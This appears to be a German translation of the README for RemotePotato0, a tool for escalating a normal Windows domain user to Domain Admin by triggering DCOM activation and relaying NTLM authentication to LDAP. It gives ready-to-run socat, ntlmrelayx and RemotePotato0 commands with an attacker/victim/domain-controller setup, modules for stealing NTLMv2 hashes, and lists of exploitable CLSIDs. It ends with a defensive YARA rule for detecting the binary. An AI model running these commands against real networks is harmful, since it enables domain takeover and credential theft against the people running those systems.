
Windows-Privilegieneskalation vom Benutzer zum Domänenadministrator.
UPDATE 21-10-2022: Das Haupt-Exploit-Szenario RPC->LDAP von RemotePotato0 wurde behoben. Weitere Details unter --> https://twitter.com/splinter_code/status/1583555613950255104
Nur ein weiteres "Won't Fix" Windows Privilege Escalation von Benutzer zu Domain-Admin.
RemotePotato0 ist ein Exploit, mit dem Sie Ihre Berechtigungen von einem normalen Benutzer zu einem Domain-Admin erhöhen können.
Kurz erklärt:
Es missbraucht den DCOM-Aktivierungsdienst und löst eine NTLM-Authentifizierung eines beliebigen Benutzers aus, der derzeit auf dem Zielrechner angemeldet ist. Es ist erforderlich, dass ein privilegierter Benutzer auf demselben Rechner angemeldet ist (z. B. ein Domain-Admin-Benutzer). Sobald die NTLM Type1 ausgelöst wird, richten wir einen Cross-Protocol-Relay-Server ein, der die privilegierte Type1-Nachricht empfängt und an eine dritte Ressource weiterleitet, indem er das RPC-Protokoll auspackt und die Authentifizierung über HTTP verpackt. Auf der Empfängerseite können Sie einen weiteren Relay-Knoten (z. B. ntlmrelayx) einrichten oder direkt an eine privilegierte Ressource weiterleiten. RemotePotato0 ermöglicht es auch, NTLMv2-Hashes jedes auf einem Rechner angemeldeten Benutzers zu greifen und zu stehlen.
Angreiferrechner (10.0.0.20)
Opferrechner (10.0.0.45)
Opfer-Domain-Controller (10.0.0.10)
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user
Hinweis: Wenn Sie Windows Server <= 2016 verwenden, können Sie den Netzwerk-Redirector (socat) vermeiden, da die Oxid-Auflösung lokal durchgeführt werden kann.
query user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
query user
.\RemotePotato0.exe -m 2 -s 1
.\RemotePotato0.exe -m 3 -l 9997
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
RemotePotato0
@splinter_code & @decoder_it
Pflichtargumente:
-m Modul
Zulässige Werte:
0 - Rpc2Http Cross Protocol Relay Server + Potato-Trigger (Standard)
1 - Rpc2Http Cross Protocol Relay Server
2 - RPC Capture (Hash) Server + Potato-Trigger
3 - RPC Capture (Hash) Server
Weitere Argumente: (manche können je nach verwendetem Modul obligatorisch und/oder optional sein)
-r IP des entfernten HTTP-Relay-Servers
-t Port des entfernten HTTP-Relay-Servers (Standard 80)
-x IP des unechten Oxid-Resolvers (Standard 127.0.0.1)
-p Port des unechten Oxid-Resolvers (Standard 9999)
-l Listening-Port des RPC-Relay-Servers (Standard 9997)
-s Sitzungs-ID für den Cross-Session-Activation-Angriff (Standard deaktiviert)
-c CLSID (Standard {5167B42F-C111-47A1-ACC4-8EABE61B0B54})
Eine Liste verwendbarer CLSIDs auf verschiedenen Windows-Versionen:
Windows Server 2019
{0002DF02-0000-0000-C000-000000000046} - BrowserBroker Class
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI
{5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll
{924DC564-16A6-42EB-929A-9A61FA7DA06F} - Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients
{934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog
{BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout
{c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host
{f65817c8-dd85-4136-89f0-b9d12939f2c4} - IsolatedMessageDialogFactory
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - SPPUIObjectInteractive Class
{f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser
Windows Server 2016
{924DC564-16A6-42EB-929A-9A61FA7DA06F}
{f65817c8-dd85-4136-89f0-b9d12939f2c4}
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
{934b410c-43e4-415e-9935-fbc081ba93a9}
{f8842f8e-dafe-4b37-9d38-4e0714a61149}
{0002DF02-0000-0000-C000-000000000046}
{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
{c58ca859-80bc-48df-8f06-ffa94a405bff}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Windows Server 2008 R2
{FCC74B77-EC3E-4dd8-A80B-008A702075A9}
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Eine vollständigere Liste finden Sie hier --> http://ohpe.it/juicy-potato/CLSID/
Yara-Regel zur Erkennung der RemotePotato0-Binärdatei:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}